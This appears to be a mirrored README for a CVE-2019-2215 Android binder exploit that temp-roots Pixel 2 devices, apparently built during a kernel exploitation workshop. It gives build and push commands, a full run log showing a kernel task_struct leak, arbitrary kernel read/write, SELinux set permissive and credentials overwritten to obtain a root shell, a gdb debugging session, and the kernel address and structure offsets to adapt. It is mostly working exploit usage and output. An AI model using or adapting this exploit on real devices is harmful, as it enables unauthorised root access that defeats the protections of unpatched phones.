关联漏洞
描述
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
介绍
# CVE-2019-2215
## DISCLAIMER: THE CODE PROVIDED HERE IS FOR EDUCATIONAL AND SHOWCASING PURPOSE ONLY. I DO NOT SUPPORT, NOR TAKE ANY RESPONSIBILITY FOR ANYONE THAT USES THIS CODE (OR THE INFORMATION IN IT, OR ITS BUILD, OR ANYTHING IN THIS REPOSITORY) FOR ILLEGAL OR IMMORAL REASONS
## Credits
Based on a [proof-of-concept](https://bugs.chromium.org/p/project-zero/issues/detail?id=1942) by Jann Horn & Maddie Stone of Google Project Zero
Special thanks to [CloudFuzz's workshop](https://cloudfuzz.github.io/android-kernel-exploitation/) for making it possible for me to write this exploit.
More thanks to [kangtastic](https://github.com/kangtastic/) for providing another source of reference.
## Usage
To build the exploit:
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make
To build the exploit and upload it to a running device (using android studio emulator):
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Example usage:
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Building: cve-2019-2215-exploit
Pushing: cve-2019-2215-exploit to /data/local/tmp
cve-2019-2215-exploit: 1 file pushed, 0 skipped. 480.0 MB/s (4891248 bytes in 0.010s)
File located in: /data/local/tmp/cve-2019-2215-exploit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ adb shell
generic_x86_64:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
generic_x86_64:/ $ /data/local/tmp/cve-2019-2215-exploit
[+] Allocating 4Gb aligned page...
[+] Allocating page
[+] Filling page with 'A's
[+] Dummy page pointer: 0x100000000
[*] Page allocated successfully
[+] Leaking task_struct pointer...
[+] Allocating binder and epoll file descriptors
[+] Creating Pipe
[+] Constructing IOVEC stack
[+] Forking child process
[+] Allocating and linking binder_thread structure
[+] Freeing binder_thread structure
[+] Reallocating binder_thread structure as IOVECs
[+] CHILD Triggering unlink
[+] CHILD Reading 65536 'A's from pipe
[+] CHILD Exiting
[+] Reading leaked task_struct pointer
[+] Leaked task_struct pointer: 0xffff888010731b80
[+] Closing binder and epoll file descriptors
[+] Closing any file descriptors allocated by the function
[*] Leaked task_struct pointer successfully
[+] Getting arbitrary Read-Write permissions...
[+] Allocating binder and epoll file descriptors
[+] Creating socket
[+] Writing junk data to socket
[+] Constructing IOVEC stack
[+] Crafting socket input data
[+] Creating message header object
[+] Forking child process
[+] Allocating and linking binder_thread structure
[+] Freeing binder_thread structure
[+] Reallocating binder_thread structure as IOVECs
[+] CHILD Triggering unlink
[+] CHILD Reading 65536 'A's from pipe
[+] CHILD Exiting
[+] Verifying arbitrary R/W vector
[+] Opening kernel R/W pipe
[+] PID 7359 verified
[+] Closing binder and epoll file descriptors
[+] Closing any file descriptors allocated by the function
[*] Got arbitrary Read-Write permissions successfully
[+] Setting SELinux to permissive mode...
[+] SELinux enforcing flag located at 0xffffffff816acfe8
[+] SELinux enforcing flag already set to zero (permissive mode)
[*] Set SELinux to permissive mode successfully
[+] Updating kernel-space cred structure...
[+] Copying nsproxy pointer from kernel-space
[+] init_nsproxy structure address: 0xffffffff81433ac0
[+] Kernel base address: 0xffffffff80200000
[+] init_cred structure address: 0xffffffff81433c30
[+] init_cred usage count: 0x2
[+] Setting init_cred usage count to: 0x3
[+] Setting task_struct credentials to init_cred
[+] New process UID: 0
[+] Closing kernel R/W pipe
[*] Updated kernel-space cred structure successfully
Exploitation Successful! Opening Privileged Shell...
generic_x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
generic_x86_64:/ # exit
Exiting Privileged Shell...
generic_x86_64:/ $ exit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$
## Debugging
In order to debug the exploit:
gdb -quiet ./path/to/dist/vmlinux -x commands.gdb
Note that running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed. Example debugging session:
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ gdb -quiet ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -x commands.gdb
Reading symbols from ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux...
Note: running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed
warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
warning: Could not load XML target description; ignoring
native_safe_halt ()
at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61 }
^C
Program received signal SIGINT, Interrupt.
native_safe_halt ()
at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61 }
Breakpoint 1 at 0xffffffff80823785: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
Breakpoint 2 at 0xffffffff802aa69d: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
Breakpoint 3 at 0xffffffff802aa6d5: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.
Breakpoint 1, binder_free_thread (thread=0xffff888011821000) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c:4701
4701 BUG_ON(!list_empty(&thread->todo));
0xffff888011821000: 0xffff888028f72400 0x0000000000000001
0xffff888011821010: 0x0000000000000000 0x0000000000000000
0xffff888011821020: 0xffff888011821020 0xffff888011821020
0xffff888011821030: 0x0000002000001a13 0x0000000000000001
0xffff888011821040: 0x0000000000000000 0xffff888011821048
0xffff888011821050: 0xffff888011821048 0x0000000000000000
0xffff888011821060: 0x0000000000000000 0x0000000000000000
0xffff888011821070: 0x0000000000000003 0x0000000000007201
0xffff888011821080: 0x0000000000000000 0x0000000000000000
0xffff888011821090: 0x0000000000000003 0x0000000000007201
0xffff8880118210a0: 0x0000000000000000 0xffff88806a848198
0xffff8880118210b0: 0xffff88806a848198 0x0000000000000000
0xffff8880118210c0: 0x0000000000000000 0x0000000000000000
0xffff8880118210d0: 0x0000000000000000 0x0000000000000000
0xffff8880118210e0: 0x0000000000000000 0x0000000000000000
0xffff8880118210f0: 0x0000000000000000 0x0000000000000000
0xffff888011821100: 0x0000000000000000 0x0000000000000000
0xffff888011821110: 0x0000000000000000 0x0000000000000000
0xffff888011821120: 0x0000000000000000 0x0000000000000000
0xffff888011821130: 0x0000000000000000 0x0000000000000000
0xffff888011821140: 0x0000000000000000 0x0000000000000000
0xffff888011821150: 0x0000000000000000 0x0000000000000000
0xffff888011821160: 0x0000000000000000 0x0000000000000000
0xffff888011821170: 0x0000000000000000 0x0000000000000000
0xffff888011821180: 0x0000000000000000 0x0000000000000001
0xffff888011821190: 0xffff88804fab3700
Breakpoint 2, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:50
50 spin_lock_irqsave(&wq_head->lock, flags);
0xffff888011821000: 0x0000000000000000 0x0000000000000000
0xffff888011821010: 0x0000000000000000 0x0000000000000000
0xffff888011821020: 0x0000000000000000 0x0000000000000000
0xffff888011821030: 0x0000000000000000 0x0000000000000000
0xffff888011821040: 0x0000000000000000 0x0000000000000000
0xffff888011821050: 0x0000000000000000 0x0000000000000000
0xffff888011821060: 0x0000000000000000 0x0000000000000000
0xffff888011821070: 0x0000000000000000 0x0000000000000000
0xffff888011821080: 0x0000000000000000 0x0000000000000000
0xffff888011821090: 0x0000000000000000 0x0000000000000000
0xffff8880118210a0: 0x0000000100000000 0x0000000000010000
0xffff8880118210b0: 0x00000000deadbeef 0x0000000000010000
0xffff8880118210c0: 0x0000000000000000 0x0000000000000000
0xffff8880118210d0: 0x0000000000000000 0x0000000000000000
0xffff8880118210e0: 0x0000000000000000 0x0000000000000000
0xffff8880118210f0: 0x0000000000000000 0x0000000000000000
0xffff888011821100: 0x0000000000000000 0x0000000000000000
0xffff888011821110: 0x0000000000000000 0x0000000000000000
0xffff888011821120: 0x0000000000000000 0x0000000000000000
0xffff888011821130: 0x0000000000000000 0x0000000000000000
0xffff888011821140: 0x0000000000000000 0x0000000000000000
0xffff888011821150: 0x0000000000000000 0x0000000000000000
0xffff888011821160: 0x0000000000000000 0x0000000000000000
0xffff888011821170: 0x0000000000000000 0x0000000000000000
0xffff888011821180: 0x0000000000000000 0x0000000000000000
0xffff888011821190: 0xffff88804fab3700
Breakpoint 3, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:53
53 }
0xffff888011821000: 0x0000000000000000 0x0000000000000000
0xffff888011821010: 0x0000000000000000 0x0000000000000000
0xffff888011821020: 0x0000000000000000 0x0000000000000000
0xffff888011821030: 0x0000000000000000 0x0000000000000000
0xffff888011821040: 0x0000000000000000 0x0000000000000000
0xffff888011821050: 0x0000000000000000 0x0000000000000000
0xffff888011821060: 0x0000000000000000 0x0000000000000000
0xffff888011821070: 0x0000000000000000 0x0000000000000000
0xffff888011821080: 0x0000000000000000 0x0000000000000000
0xffff888011821090: 0x0000000000000000 0x0000000000000000
0xffff8880118210a0: 0x0000000100000000 0xffff8880118210a8
0xffff8880118210b0: 0xffff8880118210a8 0x0000000000010000
0xffff8880118210c0: 0x0000000000000000 0x0000000000000000
0xffff8880118210d0: 0x0000000000000000 0x0000000000000000
0xffff8880118210e0: 0x0000000000000000 0x0000000000000000
0xffff8880118210f0: 0x0000000000000000 0x0000000000000000
0xffff888011821100: 0x0000000000000000 0x0000000000000000
0xffff888011821110: 0x0000000000000000 0x0000000000000000
0xffff888011821120: 0x0000000000000000 0x0000000000000000
0xffff888011821130: 0x0000000000000000 0x0000000000000000
0xffff888011821140: 0x0000000000000000 0x0000000000000000
0xffff888011821150: 0x0000000000000000 0x0000000000000000
0xffff888011821160: 0x0000000000000000 0x0000000000000000
0xffff888011821170: 0x0000000000000000 0x0000000000000000
0xffff888011821180: 0x0000000000000000 0x0000000000000000
0xffff888011821190: 0xffff88804fab3700
...
## Build Notes
Some constants in `exploit.h` are build-specific, namely:
// System.map
// ffffffff80200000 T _stext
// ffffffff81433ac0 D init_nsproxy
// ffffffff816acfe8 B selinux_enforcing
// ffffffff81433c30 D init_cred
#define KERNEL_BASE 0xffffffff80200000ul
#define INIT_NSPROXY 0xffffffff81433ac0ul
#define SELINUX_ENFORCING 0xffffffff816acfe8ul
#define INIT_CRED 0xffffffff81433c30ul
AND
// Variable offsets
// macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
#define ADDR_LIMIT_OFFSET 0xa18ul // p /x (long)offsetof(struct task_struct, thread) + (long)offsetof(struct thread_struct, addr_limit)
#define PID_OFFSET 0x4e8ul // p /x offsetof(struct task_struct, pid)
#define NSPROXY_OFFSET 0x6c0ul // p /x offsetof(struct task_struct, nsproxy)
#define REAL_CRED_OFFSET 0x680ul // p /x offsetof(struct task_struct, real_cred)
The first set of constants can be retrieved from the `System.map` file of the target build, and the second set of constants can be calculated using their respective gdb commands.
文件快照
[4.0K] /data/pocs/3bd26f15adbbb29bb635fe4fa91b615a0a8802e1
├── [ 983] commands.gdb
├── [ 14K] exploit.c
├── [3.0K] exploit.h
├── [1.1K] Makefile
└── [ 12K] README.md
0 directories, 5 files
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